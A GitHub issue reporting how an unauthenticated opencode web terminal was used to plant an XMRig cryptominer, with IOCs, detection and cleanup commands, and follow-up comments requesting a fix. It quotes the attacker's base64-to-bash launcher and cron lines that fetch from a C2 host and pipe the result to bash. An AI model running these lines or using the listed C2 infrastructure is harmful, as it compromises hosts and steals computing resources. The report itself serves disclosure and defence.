Repository navigation
Description
Summary
Two of my Linux hosts were compromised by a Monero (XMRig) cryptominer deployed through an unsecured opencode web server (v1.4.7). The web server was listening on 0.0.0.0:4096 without OPENCODE_SERVER_PASSWORD set, exposing an unauthenticated bash terminal to anyone on the private VPN network.
An automated scanner on the VPN network found the open instance and deployed the miner via the web terminal, gaining full RCE as the owning user. The malware then killed competing processes (including other coding agents) to free CPU for mining.
Attack details
- opencode version: 1.4.7
- Configuration:
opencode web --hostname 0.0.0.0,OPENCODE_SERVER_PASSWORDunset - Network: Private VPN mesh, accessible to all peers
- Impact: Full RCE on 2 hosts, ~95 hours of CPU stolen (12 cores × 100%), system fingerprint exfiltration
- Duration before detection: ~7-8 hours
- Both hosts hit simultaneously — automated scanning
The malware chain
The attacker used the opencode bash tool to execute a single command:
pgrep -x unicorn >/dev/null || echo <BASE64_PAYLOAD> | base64 -d | bashThe payload:
- Downloaded a UPX-packed dropper (camouflaged as
gunicorn) - The dropper killed competing processes and deployed XMRig (camouflaged as
unicorn, stored at~/.claude/CRON) - Installed cron persistence (
*/3 * * * *callback to C2) - Configured mining on 3 Monero pools, all 12 CPU cores,
pause-on-active: false - Exfiltrated system fingerprint (CPU, RAM, VM type, IP → base64 rig-id)
Security concerns
1. opencode web binds to 0.0.0.0 without enforcing authentication
When OPENCODE_SERVER_PASSWORD is not set, the web server still starts and serves the full terminal UI — including bash execution — to anyone who can reach the port. This is a remote code execution vector by default.
Suggestion: Refuse to start on non-localhost interfaces without a password, or print a prominent warning.
2. No HTTP access logging
opencode does not log HTTP requests to the web server. After the attack, there was zero forensic evidence of how the attacker connected — no source IP, no request path, no timestamp. This made it impossible to identify the attacker.
Suggestion: Log HTTP access (source IP, method, path, timestamp) to a file or journal by default.
3. Bash tool execution without confirmation
The web terminal executed the payload as a "synthetic" user action (direct tool execution), with no confirmation prompt or sandboxing.
Indicators of Compromise (IOCs)
C2 / Dropper infrastructure
| Type | Indicator |
|---|---|
| C2 primary | 176.65.148.250 port 6556 |
| C2 fallback | 2.26.99.68 port 6556 |
| Dropper domain | apt-update.com |
| GitLab fallback | Kanedias/xmrig-static |
Mining pools
| Pool | Port |
|---|---|
193.41.68.194 |
53535 |
95.85.237.149 |
53535 |
2.26.99.68 |
53535 |
Filesystem artifacts
| Path | Description |
|---|---|
~/.claude/CRON |
XMRig binary (camouflaged as unicorn) |
~/.claude/config.json |
XMRig pool config |
~/<machine-id> |
UPX-packed dropper (camouflaged as gunicorn) |
Process names (camouflaged)
unicorn→ XMRig minergunicorn→ UPX-packed dropper/killer
Cron persistence
*/3 * * * * curl -s <C2>:6556/ok | base64 -d | bash
@reboot <C2>:6556/ok | base64 -d | bash
Detection
Run these checks on any host running opencode web:
# 1. Cron entries
crontab -l | grep -E "176.65|6556|base64.*bash"
# 2. XMRig binary
ls -la ~/.claude/CRON
# 3. XMRig config
cat ~/.claude/config.json | grep -i "pool\|xmrig\|monero"
# 4. Dropper binary
ls -la ~/$(cat /etc/machine-id)
# 5. Camouflaged processes
ps aux | grep -iE "unicorn|gunicorn" | grep -v grep
# 6. Active C2/pool connections
ss -tn | grep -E "6556|53535"Remediation (if infected)
# Kill malware processes
pkill -9 -f unicorn; pkill -9 -f gunicorn
# Remove artifacts
rm -f ~/.claude/CRON ~/.claude/config.json ~/<machine-id>
# Clean cron
crontab -l | grep -v "176.65\|base64.*bash" | crontab -
# Block C2 (repeat for each IOC IP)
sudo iptables -A OUTPUT -d <C2_IP> -j DROPEnvironment
- OS: Ubuntu 24.04 LTS (2 hosts)
- opencode: 1.4.7
- Network: Private VPN mesh
Happy to provide additional forensic details (session DB extracts, malware binary hashes, payload deobfuscation) if useful.
Activity
github-actions commentedon Jul 25, 2026
This issue might be related to previously reported issues that were closed without being fixed. Please check:
opencode webbinds to a non-loopback interface withoutOPENCODE_SERVER_PASSWORD— the exact configuration that allowed this attack. Closed after 90 days of inactivity, not fixed.Both of those issues describe the missing safeguard at the root of this incident. The security concern they raised appears to remain unaddressed in v1.4.7.
andrea-tomassi commentedon Jul 25, 2026
Thanks to the bot for linking #10958 and #10973 — this confirms the vulnerability was known and reported 4 months before this attack occurred.
Timeline
opencode webon VPN, deployed XMRig cryptominer via the bash terminalThe attack was preventable
The fix proposed in #10958 would have stopped this entirely:
If this guardrail had been implemented,
opencode web --hostname 0.0.0.0without a password would have refused to start (non-TTY, systemd service). The scanner would have found nothing.Impact of the unfixed vulnerability
Request
Please reopen and implement #10958 and #10973. The proposed fix is minimal, backwards-compatible (loopback behavior unchanged), and would have prevented this incident entirely.
Additionally, HTTP access logging would have allowed me to identify the attacker — currently there is zero forensic evidence of how the connection was made.
github-actions commentedon Sep 24, 2026
To stay organized issues are automatically closed after 60 days of no activity. If the issue is still relevant please open a new one.